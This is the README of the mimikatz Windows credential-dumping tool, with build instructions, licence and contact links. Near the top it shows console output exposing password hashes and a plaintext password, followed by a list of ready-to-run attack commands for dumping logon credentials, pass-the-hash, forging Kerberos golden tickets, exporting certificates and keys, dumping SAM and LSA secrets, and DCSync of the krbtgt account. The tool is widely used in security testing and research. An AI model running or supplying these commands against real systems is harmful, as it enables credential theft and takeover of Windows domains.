mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

 .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... 

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

log privilege::debug 

sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd 

kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi 

crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export 

vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local 

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

• for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914)
• for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

• GIT URL is : https://github.com/gentilkiwi/mimikatz.git
• SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
• ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip

• After opening the solution, Build / Build Solution (you can change architecture)
• mimikatz is now built and ready to be used! (Win32 / x64 even ARM64 if you're lucky)
  • you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

• https://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
• https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader

mimikatz project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is:

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

mimikatz needs coffee to be developed:

• PayPal: https://www.paypal.me/delpy/

• Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
• DCSync and DCShadow functions in lsadump module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )

This is a personal development, please respect its philosophy and don't use it for bad things!